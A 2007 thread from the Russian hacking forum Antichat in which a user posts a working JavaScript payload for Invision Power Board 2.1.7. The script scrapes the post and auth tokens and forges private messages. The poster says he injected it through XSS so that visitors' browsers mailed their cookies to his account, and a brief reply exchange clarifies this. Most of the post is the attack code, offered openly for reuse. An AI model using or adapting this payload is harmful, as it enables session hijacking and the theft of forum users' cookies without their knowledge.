Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Отправка персоналок в ipb 2.1.7 через ajax (https://forum.antichat.xyz/showthread.php?t=37731)

_Nikolas_ 11.04.2007 23:25

Отправка персоналок в ipb 2.1.7 через ajax
 
Вот писал когда-то, решил выложить.

Скрипт отправляет персональное сообщение любому пользователю в форуме ipb 2.1.7 (тестировалось только на этой версии, возможно будет работать и на других).

В свое время запихнул его в xss и юзеры сами слали мне куки :p

Конечно практическое применение не велико, ибо запихнуть такой здоровый скрипт редко удается. Зато не происходит обращение к левым хостам.

Суть работы простая: сначала посылает GET-запрос на страничку отправки персоналки, и выпарсивает оттуда post_key и auth_key, а затем генерит multipart/form-data POST-запрос с телом сообщения и шлет его.

В общем может будет кому полезен. :)

PHP код:

//эти переменные править
        
var forum "http://www.forum.ru";
        var 
msg_user "admin";
        var 
msg_title "TEST";
        var 
msg_post "TEST POST";
        
        var 
boundary "---------------------------1065103348625032172387451659";
        
        var 
http_request false;
        
        function 
createHttpRequest() {
            
http_request false;
            if (
window.XMLHttpRequest) { // Мозилла, опера и т.д.
                
http_request = new XMLHttpRequest();
                if (
http_request.overrideMimeType) {
                    
// Выставляем тип странички
                    
http_request.overrideMimeType('text/xml');
                }
            } else if (
window.ActiveXObject) { // Интернет эксплорер
                
try {
                    
http_request = new ActiveXObject("Msxml2.XMLHTTP");
                } catch (
e) {
                    try {
                        
http_request = new ActiveXObject("Microsoft.XMLHTTP");
                    } catch (
e) {}
                }
            }
            return 
http_request;
        }
        
        function 
makeGETRequest(urlparam) {
            
http_request createHttpRequest();
            if (!
http_request) {
                
//alert('Cannot create XMLHTTP instance');
                
return false;
            }
            
http_request.onreadystatechange alertContents//Тут написать функцию которая вызовется после получения странички
            
http_request.open('GET'url paramtrue);
            
http_request.send(null);
        }
        
        function 
makePOSTRequest(urlparam) {
            
http_request http_request createHttpRequest();
            if (!
http_request) {
                
//alert('Cannot create XMLHTTP instance');
                
return false;
            }
            
http_request.onreadystatechange alertPost//Тут написать функцию которая вызовется после получения странички
            
http_request.open('POST'urltrue);
            
http_request.setRequestHeader("Content-type""multipart/form-data; boundary=" boundary);
            
http_request.setRequestHeader("Content-length"param.length);
            
http_request.send(param);
        }
        
        function 
alertContents() {
            if (
http_request.readyState == 4) { // Говорит о том что все загружено
                
if (http_request.status == 200) { // Статут загрузки страницы, если 200 то все нормально
                    //alert("ok");
                    
var xml http_request.responseText;
                    var 
re_post = new RegExp"name=\"post_key\" value=\"([a-z0-9]+)\"" );
                    var 
re_auth = new RegExp"name=\"auth_key\" value=\"([a-z0-9]+)\"" );
                    var 
post_key re_post.execxml )[1];
                    var 
auth_key re_auth.execxml )[1];
                    var 
param '--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="removeattachid"\r\n\r\n0\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="OID"\r\n\r\n\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="act"\r\n\r\nMsg\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="CODE"\r\n\r\n04\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="MODE"\r\n\r\n01\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="post_key"\r\n\r\n' post_key '\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="auth_key"\r\n\r\n' auth_key '\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n15360000\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="entered_name"\r\n\r\n' msg_user '\r\n' +
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="from_contact"\r\n\r\n-\r\n' +
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="msg_title"\r\n\r\n' msg_title '\r\n' +
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="ffont"\r\n\r\n0\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="fsize"\r\n\r\n0\r\n' 
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="Post"\r\n\r\n' msg_post '\r\n' +
                        
'--' boundary '\r\n' 
                        
'Content-Disposition: form-data; name="FILE_UPLOAD"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n' 
                        
'--' boundary '--\r\n';
                   
makePOSTRequestforum "/index.php?act=msg"param );
                } else {
                    
//alert('There was a problem with the request.');
                    //alert(http_request.status);
                
}
            }
        }
        function 
alertPost() {
            
//здесь можем обработать результат отсылки, если захотим
        
}
        
//вызываем эту функцию для отправки сообщения
        
function main() {
            
makeGETRequestforum "/index.php?""act=Msg&CODE=04" );
        } 


Isis 11.04.2007 23:48

Гы, а если мы иммем доступ , зачем нам куки...
хеш там, хеш здесь..какая ранциа?

_Nikolas_ 11.04.2007 23:55

Цитата:

Сообщение от Isis
Гы, а если мы иммем доступ , зачем нам куки...
хеш там, хеш здесь..какая ранциа?

пардон за не понимание, какой доступ и куда?

если непонятно повторю: я запихивал скрипт в xss и он слал куки любому пользователю на форуме, ясен пень я указал свой аккаунт, и все куки шли мне.

Isis 12.04.2007 00:13

А так это скрипт хсс..
Тогда ясно =\


Время: 13:13